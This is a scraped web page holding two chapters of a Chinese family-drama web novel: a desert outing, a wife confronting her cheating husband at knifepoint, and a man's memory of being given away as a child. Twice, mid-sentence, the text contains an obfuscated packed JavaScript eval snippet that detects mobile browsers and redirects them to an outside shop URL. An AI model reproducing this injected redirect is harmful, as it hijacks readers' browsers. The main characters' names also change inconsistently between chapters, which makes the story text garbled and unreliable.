《晚香玉》 3. Chapter003 越野车疾驰在沙漠公路上。 孟小雷手握方向盘,目视前方。 杜晚晴侧头看向车窗外一望无际的沙丘,像大海的波浪起起伏伏。 两个人都静默不语,似乎都在极力忘却玫瑰基地那尴尬的一幕。 车载音乐播放着一首老歌,杜晚晴听出是周杰伦的《兰亭序》,“……我听闻,你始终一个人,斑驳的城门,盘踞着老树根,石板上回荡的是再等……” 她这才想起,两个人久别重逢,她都还没来得及询问他这些年过得怎么样,便笑着打趣他,“你年纪也不小了,谈女朋友了没有?什么时候能喝上你们的喜酒?” “关你屁事。”孟小雷这会儿可没什么好脸色给她,觉察到自己语气太硬,又软下来补充了一句,“下辈子吧,这辈子我就一个人过。” 这混账女人一到基地就跑得没了人影。天气有点热,他给花地放完水,浑身是汗,就和往常一样脱了衣服冲凉,没想到她突然出现了。 他倒不是因为被她看到自己没穿衣服的样子觉得亏,而是气,气她完全不是一个成年女人看到一个成年男人光着身子的反应,倒像是看他小时候的那种表情。 “我这不是关心你嘛,”杜晚晴自然不知道他这会儿的心思,“还在生气被我看光了啊?又不是没看过。你小时候我还给你洗过澡呢……啊!” 孟小雷突然猛踩油门,她吓得双手抓紧把手,不敢再吱声了。 车子到了目的地,已经有好几辆车停在那里,车旁站着一对对男男女女。 所有的人都在观看一辆路虎冲向一处又高又陡的沙坡,接近坡顶的时候,车子几乎呈直立状了。 人群里有人鼓掌叫好,有人欢呼,有人吹口哨,好不热闹,几乎没有人注意到他们悄悄加入了人群中。 路虎车冲向沙坡后,在坡顶打了个转,就下来了,停在附近。 杜晚晴没想到的是,驾驶座下来的竟然是一个年轻女子,副驾座下来一个中年男子,看起来应该比女孩大个七八岁。 她跑到他面前直接扑进他怀里,“骏哥我做到了,我厉不厉害?” “嗯,我们家蕾蕾太棒了。”男人搂着她的腰,在她额头上亲了一下,然后转头看相众人,挥舞着手臂问,“兄弟们,你们嫂子厉不厉害?” 几乎没有人不说厉害的,除了孟小雷,只是淡淡一笑,朝他们挥了挥手。 “小雷你来了?就差你了。”他们朝人群走过来。 杜晚晴这才想起,中年男子孟崧骏和孟小雷是一个家族的哥哥,据说在外面混得很好。待她看清他旁边女孩的面容后,吓得赶紧背过身去。 张一蕾是张一枫三叔的女儿,虽然她们不熟,她跟张一枫结婚那年过年的时候见过一次,打过招呼。 他们没有住过乡下,一直在县城,平时很少有机会接触,后来她南下去广东,张一蕾也在外面上学工作,有好些年没见过了。 孟小雷和孟崧骏哥俩寒暄时,又有人去挑战开车冲沙坡,都是男女成双,有的是女孩开车,男的在旁边副驾座看着,有的女孩胆小的,就男的开车女的坐副驾座。 不知道张一蕾是没有认出她,还是怕她尴尬,没有过来跟她打招呼,和其他一样专注着观看其他人冲沙坡。 几乎所有人都轮流开车冲上去了一遍,孟崧骏忽然问孟小雷,“你们要不要上去感觉一下?” 孟小雷正要拒绝,忽然又打住,转头看向她,“姐,敢不敢挑战一下?” 他向众人介绍她是他姑妈的女儿,他小时候是她带大的,她过来出差,然后还夸她开车技术多么多么好。周围人纷纷附和他,等着看她表演飙车冲沙坡。 杜晚晴暗暗叫苦,这臭小子是故意在整她吧?可眼下她已经骑虎难下了,只能上了驾驶座,双手紧紧握住方向盘,眼睛直直地看着前方的沙坡。 孟小雷上了副驾座,系好安全带,让她不要紧张,就跟平时开车一样就行了。 他不说她还没那么紧张,他一说,她倒有些紧张了,朝他低吼,“你给我闭嘴!” 孟小雷也不恼,嘴角微微上扬,笑里明显有一种幸灾乐祸的意味。 杜晚晴系好安全带,脑海里演练了两遍怎么踩油门,怎么打转方向盘,深呼吸了两次,启动了车子,脚踩油门。 车子像离弦的箭一样飞了出去,很快上坡,开始很顺利,快到坡顶时,不知道什么缘故,轮胎好像打空转,冲不上去了。 她想把方向盘左转打到底直接下坡,却不知为何,打了四分之一就打不动了。 在危机时刻,孟小雷侧身抓住方向盘,把方向盘左转打到了一半,车子沿着坡顶行驶了一小段,又右转,车子冲过了坡顶。上面比较平坦,开起来很轻松,他才放开手。 杜晚晴在坡顶平坦的空地开了一圈,打转方向盘,下了坡。 回到出发地,她呆坐着不动,手脚无力,不受控制地在打哆嗦,脊背上的汗一颗一颗地往下流。 “就这么点力气,以后多吃点多长点吧。”孟小雷扔下一句话,兀自下车。 外面的人都在忙着烧烤,说说笑笑。 她在车里静坐着不动,看着车窗外,想起小时候语文课本上那句诗,“大漠孤烟直,长河落日圆。” 真美。 她心里忍不住感叹,坐了好一会儿,天色渐渐暗了下来。 孟小雷拿着烤好的串串敲了敲车窗,她才推开车门下车。 众人围着篝火坐着,她跟着他一同加入其中,喝酒聊天。他们聊天的内容,大多是关于工程行业的一些信息,她不熟悉,只能做一个听众。 孟小雷显然平时不怎么喜欢与人打交道,跟大多数人也不熟,只跟几个仁城老乡打了招呼,大多数时候都在烤炉前忙碌。 她吃了烤串,感觉有些辣,孟小雷给她开了一罐乌苏啤酒。 杜晚晴原本喝不惯啤酒,但感觉这个啤酒入口有点点甜味,没有那种冲鼻的气味,一口气喝了一大罐。 快要散场的时候,人群中突然有人问,“龙哥今天怎么没来?他不是最喜欢热闹?” 有人回答,“龙哥啊,没司机呢,自己又懒得开车。之前他表弟给他开车,前两天因为酒驾被吊销了驾照。你们谁有司机给他介绍一下啊。” 后面又有人八卦,“他表弟是不是叫张一枫?最近老在骏哥的酒店碰到他,那家伙太狂了,还敢带着各种女孩去开房……” “骏哥,我们回去吧,好冷。”张一蕾适时打断无聊的八卦,“蹭”地跳了起来,把孟崧骏也拉起来。 他们一走,其他人也三三两两都跟着散了,最后只剩下杜晚晴和孟小雷两个人围着篝火坐着。 杜晚晴不知为何,脑袋有些木木的,但还是看出来了。 孟小雷在种植基地接到邀请他们来参加沙漠篝火聚会的电话,原本不打算来,犹豫了半晌最终还是带着她来了,目的就是打探张一枫的下落。没想到他竟然也在玉城。 如果是别的女人,听到自己的老公跟别的女人厮混,大概早就抓狂,想着去捉奸在床暴打小三了。 可她完全没有这样的冲动,只觉得无力,内心也毫无波澜,仿佛这种事跟她毫无关系。 “回去吧。”孟小雷把现场收拾了一下,灭了篝火,催促她上车。 杜晚晴回到车上,拿出手机,想要订明天回鹏城的机票。手机信号时断时续,她只能先放弃,打算回到住处再订。 回去的路上,她背对着他,侧身靠着椅背,想睡觉,大脑却异常清醒。 孟小雷没有把她送到昨晚住的小区,车子停在了一家酒店门口,跟她解释,“晚上骏哥他们可能会回去住,那是他们公司的房子。我们今晚暂时住酒店。” 无所谓了,反正她明天就离开了。 杜晚晴心里是这么想的,下了车,跟着他进入酒店。 酒店前台热情地向他们打招呼,显然跟孟小雷很熟。 只是,听到他说给她单独开一个房间,前台表现得有些意外,但还是照做了,要了她的身份证,给她开了一个标间。 杜晚晴拿着房卡和身份证就上楼了,找到自己的房间,开门进去,倒在床上就睡。 她迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274119|198157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷糊糊睡了一觉,也不知道睡了多久,最后是被隔壁房间巨大的声响吵醒的,估计是一对情侣。 不知道是这房间隔音效果太差,还是他们闹出的声响实在太大,她用被子蒙住头,都能听到声响。 有那么一刹那,杜晚晴感觉有个声响很熟悉,脑海里闪过一个身影,再也睡不着了,弹簧一样跳了起来。 她仓皇逃出了房间,打算到附近转转,顺便吃点东西。可到了一楼大厅,内心突然涌起一股愤怒,脚步不受控制地走到前台。 她跟前台值班的人说她门卡忘房间里了,让她再给一张,却故意说了隔壁房间的门牌号。 前台是个小姑娘,一看就是刚出社会的人,心思单纯,直接就把门卡给她了。 杜晚晴重新上楼,到了她住房间的隔壁,打开门,开灯,冲进房门,先开被子,拿出手机一顿乱拍。 张一枫大概打死都想不到,她会突然出现,愣了半天,才爬起来,冲过来要夺她的手机。 杜晚晴往后退,拿起桌上的一把水果刀,指着他,“张一枫,你要再敢靠近,我一刀捅死你!” 张一枫是个怕死的人,也知道她看起来柔弱,其实惹恼了也不好对付,便往后退了两步,皮笑肉不笑地解释,“晴晴,你误会了。这只是逢场作戏,你可别冲动,回头让妈知道到了,又让她老人家担心了。” “放你娘的狗屁!”杜晚晴这会儿确实被逼到极点了,话也变得粗糙起来,“你要再敢提我妈,我割了你的舌头。” 张一枫立刻捂住嘴,生怕她真会这么做。 “张一枫,不管你以前多无耻,我都懒得理,但今天你在我眼皮底下胡作非为,不好意思,老娘不想忍了。我们新账旧账一起算,明天我就会把离婚协议拟好。我没有任何要求,只要求你在协议上签字。” “离婚?怎么可能?”张一枫脸色突然变了,恶狠狠地质问她,“杜晚晴,你是不是外面有人了?你想离婚,没门!” “你要是不签字,”杜晚晴晃了晃手机,“我就把这些照片发到你们单位去,看你还有什么脸留在那里混吃等死。” 张一枫在老家仁城的一个事业单位工作。他嫌生活单调,每个月三千的工资太低,经常偷偷跑出来做些私活。没想到这次跑到这里来给他那个搞工程的表弟做司机了。 但他再怎么浑,还是舍不得他那份事业单位的工作。死皮赖脸地求她别乱来。 她担心张一枫会突然发狂,她见识过他六亲不认的疯狂样,把水果刀挡在前面,赶紧往后退,以最快的速度退出了房间。 让她意想不到的是,孟小雷就在隔壁她住的房间门口,朝她竖起大拇指,然后手臂朝外挥了挥,“走吧,骏哥他们今天没有住那边,我们还是回去吧。酒店太吵了。” “确实太吵了。”杜晚晴拿着刀的手在发抖,就像冲完沙坡之后,浑身无力。 直到他们回到住处,她躺在床上的时候,脑海把一整天发生的事过滤了一遍,才后知后觉地想到一点,怎么孟小雷好像对今天晚上发生的一切了如指掌? 杜晚晴听到隔壁浴室里传来哗哗的流水声,不自觉地回想起白天在种植基地撞见的那一幕。 她当时关注的重点,落在了他脊背上的那一道触目惊心的疤痕上,如果她没记错,那是他为她挡杜昱昇的皮鞭落下的,那时候他才十几岁,比她还瘦小。 他被打得半死,却还想拉着她逃跑,哭着喊着,“姐姐,我们走吧,我不做姑妈的儿子,你也不做她的女儿,我们就做自己。” 杜晚晴想起年少时那些不堪回首的往事,眼泪像决堤的洪水,怎么也止不住了,一直麻木的心,突然隐隐作痛,像被针扎一样。 她有一种冲动,想冲进隔壁的浴室,抱抱他,轻抚一下那道疤痕,问他还疼不疼。 但理智告诉她,这个留着板寸眉眼勾火的男人,已经不是记忆中那个留着长头发动不动逃学的叛逆少年。 她躺着没有动,隔壁的流水声也一直没有停,像暗夜里有人在咿咿呀呀唱着歌,歌声婉转,像猫爪一样挠着人心,绵绵不绝。 4.Chapter004 孟山河六岁以前都过得无忧无虑,命运的转折点发生在六岁那年的一个晚上。 他和往常一样在外面和村里的小伙伴们玩到天黑才回家,平日里他都是和双胞胎弟弟孟小虎一同回家,但那天只有他自己。 他是很久以后才后知后觉地觉察出,那天看似普通的一天,其实暗藏玄机。 他们家住的是那种旧式的大房子,高高的庭院,长长的过道,光线幽暗,像迷宫一样,他小时候特别害怕一个人走在里面。 据说曾经是以前的旧时代有钱大户人家住的大房子,后来时代变了,分给普通百姓,一座宅院里通常住着好几户人家。 为了给自己壮胆,他哼着流行的港台歌曲,飞快地往自己家住的那间屋跑,不小心撞到了同住一座宅院的邻居老太太,“要死啊,赶着投胎去吗?” 他母亲听到声音,跑出来给老太太点头哈腰道歉,然后拉着他回自己家。 “一天到晚就知道跑出去玩,一家人就等你了。我告诉你,规矩我都定好了,抽三次,你们三兄弟谁抽到的次数多,谁就去你姑妈家。”母亲絮絮叨叨的声音充斥着他的耳朵。 孟山河那个时候还不知道,他已然成为家里多余的人。 他母亲的肚子创造了一个奇迹,三胎生了五个孩子,头胎生了个儿子,二胎想生个女儿,结果又生了一对双胞胎儿子。 三胎倒是如愿生了女儿,生的却是双胞胎女儿,一时成为众人茶余饭后的谈资。 多次超生罚款,把一个原本经济就不宽裕的家,血都榨干了。 他姑妈自己没有生育,收养了他姑父叔伯中的一个侄子宋昱昇,因为做生意赚了不少钱,以及她姑姑对血缘关系莫名的痴迷,所以也一直想从他们家三个儿子中领养一个。 孟山河不知为何,被他母亲拖回屋里,有一种大难临头的恐惧。 他在母亲一而再再而三地催促中,费了好大劲,手哆哆嗦嗦地从她手中抽出一张抽签纸,第一次,纸上写着他的名字,第二次抽的纸,也写着他的名字,第三次还写着他的名字。 他整个人都是懵的,想不通他运气怎么就这么差,是不是刚才撞那个老太太撞的? 他还没反应过来,他的行李已经被打包好,连夜就被他父亲送去了市里他姑妈家。 孟山河在姑妈家睡了一觉,醒来后的第一件事,拿了他姑妈桌上钱包里的钱,就往车站跑,当时不知道身后一直有人跟着。 他买了车票,整整坐了三个小时的中巴车回到县城,凭着记忆中的路跑回到家里。 他母亲大概不会想到他会跑回来,那些抽签纸随随便便就放在抽屉里,他一张张打开,看到每一张纸上都写着同一个名字,他蹲在地上嚎啕大哭。 他无忧无虑的童年,就这么提前结束了。 …… 孟山河又一次从噩梦中惊醒,醒来枕头湿了一大片,梦见的内容,大差不差的就是六岁时被送走的经历。 客厅里有人走动的声音,他拿起手机看了一下时间,七点不到。 手机铃声突然响起,他一看号码就知道是酒店打过来的,不用想也知道发生了什么事。 孟山河接了电话,果然如他所料,张一枫已经离开了酒店,是被他表弟龙哥接走的。 有那么一瞬间,他异常愤怒,可愤怒之后,他竟然如释重负。 他想起这两天发生的事情,从机场见到宋平凡,一阵狂喜兴奋之后,就到处打听张一枫的下落,直至昨晚故意带她去酒店。 张一枫的表弟龙哥跟孟崧骏是好朋友,在他的酒店长期有专属的VIP客房,张一枫也经常住那个房间。 他昨晚有意让前台把宋平凡的房间就安排在隔壁,当时还暗自感觉自己很聪明,现在想想,他做的这一切多么残忍。 宋平凡要解决与张一枫的问题,势必要违背侯月梅的意愿,去揭开她最不愿意面对的真相,关于她的出生。 只有经历过的人才知道,真相带来的难以承受之重,足以压垮一个铮铮铁骨般的汉子。 孟小冬每次从噩梦中遨游一圈醒来,都要承受一次抽筋剥骨般的痛。 还是不要让她也来承受这样的痛了。 此刻,他多么庆幸,她是一出生就被送走,而不是像他这样,到六岁,已经能深刻感受到被抛弃的恐惧和痛苦。 孟山河长舒一口气,强撑着疲惫的身躯爬起来,穿好衣服,去厨房做早餐。 宋平凡正盘腿坐在客厅沙发上,对着膝盖上的笔记本电脑敲键盘,见他出来,随口问了一句,“小山,你昨晚是不是又做噩梦了?” 昨天沙漠篝火烧烤聚会,她吃了不少辣的,又喝了好几罐啤酒,半夜起来上厕所,听到他房间里传来带着哭腔的哀求声,“妈妈,我不去姑妈家,求求你……” 这种情形她自然没少见过,只是没想到他到现在这么大了,还做这样的梦。 孟山河没接她的话,只问她早上想吃什么,然后列举了冰箱里有些什么东西。 她让他随便弄点什么,能填饱肚子就行了,敲打键盘的手速度越发快了,直到敲下最后一个句号,才合上电脑。 “搞定,吃完早饭我们去一趟酒店,让张一枫那混蛋签字就完了。” 孟山河把煮好的两碗面端到客厅来,放茶几上,让她先去刷牙洗脸,准备吃早餐。 她从他平静的表情感觉到,这事应该又黄了,忍不住苦笑,“早知道那家伙两脚踩了风火轮,怎么都追不上他,我应该先写检查了,保住工作要紧。” 等她洗刷完,回到茶几前坐下来准备吃面,与前两天他们刚见面不同,他没有再拿这件事嘲讽她,反过来劝慰她,“这事急也没用,慢慢来。” “我也没急啊,我都习惯了。”宋平凡对他这种两天之内一百八十度的大转变有些困惑。 就像她有些拿不准,是该像小时候对待弟弟那样跟他相处,还是应该正视他已经是个成年男人的事实。 “我今天还是搬到种植基地去吧,那边好像还有空房。一时半会估计回不了内地,要在这边呆一段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285600|198157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间。”宋平凡思虑良久,觉得还是应该避嫌。 孟山河简单说了个“好”字,三两口把他碗里的面吃完了,等她吃完最后一口,把碗端回厨房洗去了。 她给周丹丹发了一条长长的语音,大概意思就是,让她帮忙转告谢伟民,她年轻气盛,考虑问题不够周到,没有体会到领导的难处,所以自甘受罚,接受调岗和降薪,暂时留在种植基地学习一段时间。晚一点她会写一封书面检讨。 这是她能想到的折中的处理方式,既向作为总经理的谢伟民检讨低头,不跟他正面冲突,也坚持了自己的原则和是非标准,不人云亦云。 只是少了实际的好处,工资降了接近一半,但也比马上失业强吧。 她打算把鹏城租的房子退掉,当即给房东打了电话说了退租的事。又委托一个朋友抽空去把她城中村房子里的东西搬到她那边。 这样一个月能省八百块房租,暂时也能应付。 处理完这些琐事,她才松了一口气。 宋平凡伸了个懒腰,手无意间碰到旁边堆在沙发书堆最上面的一个笔记本。 笔记本从书堆上掉下来,中间夹了一支笔的那一页摊开来,上面密密麻麻写满了名字,电话号码,和一个一个的箭头号,中间圈住的名字赫然映入眼帘。 娟娟。 她随手翻了一下笔记本,几乎大半个笔记本都写了类似的内容,只是记录不同的城市。 孟山河从厨房走出来,显然也看到了笔记,立刻弯腰把笔记拿起来合上,扔进茶几抽屉里。 “你还在找她吗?”宋平凡吃惊地看着他,难以置信他坚持了这么多年,“娟娟被送走的时候才五岁不到,你这样大海捞针一样,怎么找得到?” “没试过,怎么知道找不到?” 孟山河有一对双胞胎妹妹,他六岁被送到他姑妈家的那一年,不久,最小的妹妹孟小娟也被送走了。 他知道后哭了三天三夜,发誓一定要找回妹妹。 那个时候他年纪小,大人们都没有把他的话当回事,没想到他真的在找,一直坚持到现在。 宋平凡脑海里闪过一个疑问,她被送走后,有没有人找过她? 没有人能回答她,也许,没有答案就是最好的答案。 她眼眶一热,把头侧向一边,起身去房间收拾东西,随手把笔记本电脑拿上了。 宋平凡担心种植基地信号不稳定,就以最快速度,写了一封书面检讨,发给了周丹丹,让她转发给谢伟民。 “小宋,你确定要这么做吗?”周丹丹收到后,立刻给她打来电话,“我个人很欣赏你坚持原则,从人力资源的角度,我也认为你是个不可多得的人才。但是,有些事情……” 周丹丹没有再说下去,像是有什么难言之隐。 她也没再多问,便挂了电话。 宋平凡收拾好行李出来,孟山河一手接过她手中的拉杆箱,一手提着一些铺盖。 他们一前一后离开房间,下楼到停车场,驱车前往种植基地。